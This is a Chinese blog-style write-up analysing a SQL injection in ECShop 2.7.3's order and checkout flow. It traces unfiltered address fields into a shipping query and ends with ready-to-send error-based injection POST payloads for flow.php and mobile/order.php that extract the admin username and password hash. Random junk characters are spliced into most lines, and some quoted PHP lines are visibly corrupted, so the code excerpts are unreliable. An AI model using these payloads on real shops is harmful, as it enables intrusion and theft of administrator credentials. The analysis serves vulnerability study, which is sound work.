前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。" b1 }+ A) H+ ^" x' k$ r
9 @4 V: R6 k) v& M* f 漏洞关键文件:' x; }# M) n4 a) T7 l
: I& {! X, s8 K0 U# b /includes/lib_order.php' {. W$ C8 c; I& ~
/ T2 S( F( O: W$ u0 F0 U+ K
关键函数:
/ v7 Z p: @/ p5 [0 l& M" P( N; i/ N! M4 J2 A3 W8 \
* Z8 `' o, \+ T( E3 N) T) i: @0 ^: Q7 p; I) J0 N+ A$ Z
01 function available_shipping_list($region_id_list) 9 u( J0 X5 }' I
4 Q% h7 z' y' d, @1 Z! N- n
02 { ) Y i" R# W* u. d- y8 b* H- G3 u
! Y. [, c) ]. W% k2 K03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
2 r8 f/ B* \5 q, A0 P( o+ y/ Y$ w5 O: n5 u& x
04 's.shipping_desc, s.insure, s.support_cod, a.configure ' . + ~0 j6 H! s: o" S
2 [ }/ G' j. ]: H% s2 P05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . * T9 \8 Q. q! q: |! v7 e9 y* X D6 \
2 s1 c/ D/ s5 L8 e1 x# g06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
O7 ], {0 Z1 W$ N4 O$ K" F. w% P% T, p
07 $GLOBALS['ecs']->table('area_region') . ' AS r '.
$ y# v0 M! X h3 `+ a& m7 N1 X
5 T" A3 v$ c* P2 ]7 r( t& U08 'WHERE r.region_id ' . db_create_in($region_id_list) . 2 J) j; B) }7 R" G
9 O) [+ B; k" q8 t8 \& [
09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
% c5 v! `. _9 G' \' h; w" ]4 l7 K, T3 }5 M" B# L+ U
10 * ]# H. D) f" S- Z/ u/ ]! q1 `
X# C, f6 \" G4 D4 N, P7 E11 return $GLOBALS['db']->getAll($sql);
1 V& l! f6 W, a" u- D$ e% |5 {' T: U1 D/ M. D/ w# A. P
12 } " x7 x, L. W3 `; r9 n9 r
% s) b) `) Q! u; S& |显然对传入的参数没有任何过滤就带入了查询语句。( D/ F% d4 T9 _8 d, Q- e) ]
! r" t1 h4 A1 K5 Q/ E% L* Q7 T4 w
下面我们追踪这个函数在flow.php中:
) @, S% h; N; {! o8 ]3 X 第531行:
% k C2 @) Z% u; h7 x5 U1 Q: t; U1 S% o4 c+ C B/ M H" D, r, n4 M0 n
1 $shipping_list = available_shipping_list($region); 3 E6 p4 O3 @7 f' K! t5 j3 i
3 T; q; w2 k( e6 t ! U: o2 r' V3 Q+ [$ {( i2 \
- x- t& Z+ H" d9 i6 O
: T2 I" x, ?+ k, c2 H2 n
: H5 n6 [' X. F1 V) y再对传入变量进行追踪:! T9 D: d; ^7 i2 `* H
( U( [5 T4 h6 O0 V9 S第530行:
. H# K+ W4 b$ }
( ?( L: M0 b! i1 K3 s1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); 5 m- s% _+ O' t3 L
; \0 u0 Y2 o: Q
& w8 k9 p6 V; p0 W+ k( Z3 t5 a
8 c r q, ~7 O6 k
" \; A" S0 W* T" N q. K! k* @, |+ W
第473行: 1 c0 b# h9 f b* }
4 a3 p6 x4 J' @1 `9 Y P9 ~
1 $consignee = get_consignee($_SESSION['user_id']); ; c5 g- O* X: X# E) T
# Y3 n% ?8 a, z& n) }: Y
到了一个关键函数:# z: }) V* u# M/ H
6 q7 X5 r3 Q0 K1 u, v R& M
/includes/lib_order.php
* z, n; \# B: ^
- q7 _5 n4 H) X, i( H: N
# {5 [' n, R6 N9 t3 Y, G0 d6 f6 ^' i4 O, F Q
" t; h$ \6 H6 V' Z5 t. q; S
" D0 ?$ b# i9 K* C# a01 function get_consignee($user_id)
I& B: Z5 a2 g$ n: d/ d5 y0 I6 V1 }* m7 E& t2 W6 ?' m1 p3 x
02 {
C) f6 {* f$ I9 K. U) I8 C9 v
+ p5 n; `7 E" v03 if (isset($_SESSION['flow_consignee'])) : ~ u/ G& d& D% I
1 q! f) J0 l/ x& ^8 {& K
04 {
5 S( ?: R! l% V7 s6 `3 _5 G1 F" C* s9 E; u3 B" S( G. _; s
05 /* 如果存在session,则直接返回session中的收货人信息 */ % [3 N( M( L9 U! m4 p$ J5 |; `
5 N+ Z; ~/ i B" Q6 Y8 ?1 A06
9 V. m' e6 u8 B+ {' L8 O9 G: u
. X. Q9 n' x A0 d* h/ V07 return $_SESSION['flow_consignee'];
# C5 Y2 H0 w; F3 q u# W. c4 H6 M3 G& r
08 }
( H* I p, R8 x/ h# E
/ P% R4 O3 a0 m' n09 else 7 [4 h# r5 W2 A5 I
) K0 L+ A8 j4 m1 E10 {
* u$ f$ r& c" y# l& M' c( o8 T; n5 _% Z. T
11 /* 如果不存在,则取得用户的默认收货人信息 */ & x$ L) b0 K; |# O' i" t% ~
9 ?/ \$ q8 C8 @/ n ~( X, [4 @3 `12 $arr = array(); ' @( |0 B: n' y" A: P
4 [, ?! `- K. M% r8 C2 ^- e13 , b4 a. d1 v) V/ h( h; o, }
x* r: k' g+ \9 w1 B; R" F14 if ($user_id > 0) + X& w, M, n) D
6 k, U* w- A, h4 |1 T! G6 F4 w6 J
15 { ( B& d# T! q# Q, I6 w6 c0 x5 Y/ U: P
. R, x& z6 V7 W8 L/ U& n! r$ y
16 /* 取默认地址 */ 0 l) t( K% J- O" `) `# i
/ g, A$ E. Z( l( D, F. U, m0 v0 Z& S
17 $sql = "SELECT ua.*".
) b! v, X# _0 j" j: I7 N+ F8 w- P! q: Y0 o- t
18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. & D3 }3 b8 K$ y2 {7 F1 d: a& _
2 P3 {7 _/ f! S5 e' f19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
" ?+ E# P9 ?- k9 c- k# K
6 y9 K( x5 {- ~/ }& ]. i20 - x+ j( M' p; y+ V, y, E- ?: [
5 q0 _; I0 X* G+ ~% h21 $arr = $GLOBALS['db']->getRow($sql);
& k+ M# M' {4 y5 K/ L" H" _4 c
8 t) j' v& B+ i7 w( X$ G22 }
4 W O7 Z: t* w5 s8 n0 c! ?2 R. C! R$ \6 m. F' N% l" o9 s3 y7 c5 x9 t
23
! [8 v# [4 O# T( q) k7 S+ x6 g7 z5 d' M5 p3 N% e) u$ P
24 return $arr;
( P3 l$ G$ b# u5 H4 P+ N. C
; B4 B0 u$ F+ S0 Q# U25 } . h" d; j) ^ N0 S7 \5 x8 d
" n! j. K8 K& T% y j. A$ k26 }
) U+ v7 G' S6 V1 o; @# R' c0 Z2 f* X7 D1 o6 d+ l C
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
/ B/ Q1 A" Q; O' P; x- B' \) y; C3 |- B- |* I. u# j `4 ?# b k
/ K. Z; @0 q+ W3 j
( u! G3 t) R4 L关键点:
) T% e; e2 A$ N! g3 {/ W+ h, n7 j* w7 a; W
9 s- Q* _! y: y( B第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);4 T. C/ ~, g7 S
. P I" S1 q/ ]0 W8 Y6 V这里对传入参数反转义存入$_SESSION中。6 D+ Y" v' v* u" w
4 |: G5 ]+ N* A: Q7 x( m2 t! u
; p9 F( K) A8 S$ Y( m6 \( g
- x5 Z! e2 I9 _" b6 d
然后看下:
5 j, L |2 x* s
0 @: B6 H( S$ i+ v# O
; V" R6 G) o7 V6 i2 z% D( {% \* d3 I
" H1 @0 \. w6 l9 b
1 k, A, y% m6 t C
9 X/ u! L1 }1 ~5 }2 }01 $consignee = array( 5 [( s/ E8 s3 h/ v# L& t4 Q
; { _. j# o1 V2 {; P02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']),
8 |4 ~0 P q- |; c" Y7 K5 x# A: Q2 L
03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']), / Z, w. p8 A" F- l
7 X/ V; M2 @+ f, i- w, [: l. o04 'country' => empty($_POST['country']) ? '' _POST['country'],
0 ^. Y0 H4 g) J3 N9 O3 B) M0 V- @) ^* |+ I+ p
05 'province' => empty($_POST['province']) ? '' _POST['province'],
C: q/ N- O$ @* E- ?- \5 g
3 g- N" S0 z+ N7 \+ w0 k, ?, c. n" Q06 'city' => empty($_POST['city']) ? '' _POST['city'], " c" c- ?7 g; K5 ?! r
8 E/ S0 }+ V* W. A6 C" c# I" V3 m07 'district' => empty($_POST['district']) ? '' _POST['district'], 7 C2 x7 K* r1 }6 S
( c) a& W; W) F+ M9 N3 z' i, f$ O, P08 'email' => empty($_POST['email']) ? '' _POST['email'], y7 ` g' o/ J7 H
% C/ m9 s8 V1 P, V" Q9 u09 'address' => empty($_POST['address']) ? '' _POST['address'], 9 }) u) F. }- x. i v: P. m f
5 a+ K6 c4 G# z, B4 G3 N6 R
10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])),
/ M* n$ b& l( K( U \. Z1 \# F5 O. z: \" H2 U, O
11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])), 5 L5 u- n) \; [& {/ X5 f
/ {% q& N; f" L: q
12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])),
: Y# W8 r2 p# ]! Y% T6 }6 B9 s6 r' @
* ^6 A$ e$ b, s13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
7 w2 K u s5 a/ p& G( J% h! O3 \; w+ B- g6 |
14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'],
8 t+ E% A: P9 e* Y, W
3 j$ |( N" Y$ P+ F) t3 @0 z3 W9 X15 );
. w; P1 d# P+ m$ a) o, c3 _4 R5 _% j# a
好了注入就这样出现了。
+ P2 H- |. e* B8 z$ b8 K7 d: j/ J9 }* G! I: U8 x4 u
==================( F- [& z- X# q# {5 `
. ]0 _+ L7 a( Q- H @
注入测试:. @! h3 X; l* @1 u( c; ^
, Q i. i1 Q4 P! o. @
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
' e9 {3 t' Z& {, K. P# W$ D
. H! l, l5 |; }$ ~8 W测试程序:ECShop_V2.7.3_UTF8_release1106
0 g0 D/ ^- V) N& e6 q8 K/ J1 d' Y! c5 B- W; U0 B( d
. ^* b4 c+ O5 f( h7 z' M
, H) l+ [: V% W3 M4 c1.首先需要点击一个商品加入购物车
+ F. ?1 j0 @( j0 }, a
6 c0 n0 `$ g' E( j9 a# m/ m2.注册一个会员帐号
3 ^ W, Y" W8 b6 R y) Q
' \* s0 D, I' A p- ^5 O3.post提交数据 a0 C) a0 Z$ o4 k" C
' G& z6 z3 t& d* n* Z* r- T
) U# ~2 |( @. G% o1 w" t" o! l6 C- h" P$ p3 m% W1 ^
1 http://127.0.0.1/ecshop/flow.php
! \; a! ]' J, b6 c# y
+ X& f. ?0 n7 u5 L. R2
' f- x( o6 B% w
/ n% Q1 k/ X9 f, b2 j9 L J1 L3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
/ ]! x9 Q% _9 C6 `* Y; M( L/ c: F7 f举一反三,我们根据这个漏洞我们可以继续深入挖掘:
7 e0 n! y. r1 c& Q( u7 x" R% V* q3 j$ b7 {
我们搜寻关键函数function available_shipping_list()
# m3 `- t& U# K2 A
3 c' I# j! w. P& Y+ Z' L: Q$ _1 ^在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
+ y) p" I! x6 ` \5 L; _% q& `, a
/ S7 P8 |6 n/ k: |6 N$ o利用exp:1 q' Q' ?7 }6 ?3 {" g* O6 b
% {4 H Z0 _9 c4 m6 Y, S1 a- P1.点击一个商品,点击购买商标
$ S3 E. @. Z4 I
0 B% Y7 q. I9 s5 j5 j# x; g2.登录会员帐号0 o! A3 D- D8 u' v8 a* N& n
) P# A) C4 K$ f, e6 V3.post提交:
' A6 [: v% N+ N
* \2 M' k5 d# u+ v' jhttp://127.0.0.1/ecshop/mobile/order.php
0 J b9 j* x7 y4 w7 C3 A7 I7 e
# g' e6 [0 a+ N U- h# i/ o
* [ i( k* n- X1 @* o) @
' I; r3 A* d6 ~1 z3 [8 x& Jcountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=. S6 G! a7 L+ Y% H6 @
! `; C7 E- M7 E, _; Y+ s |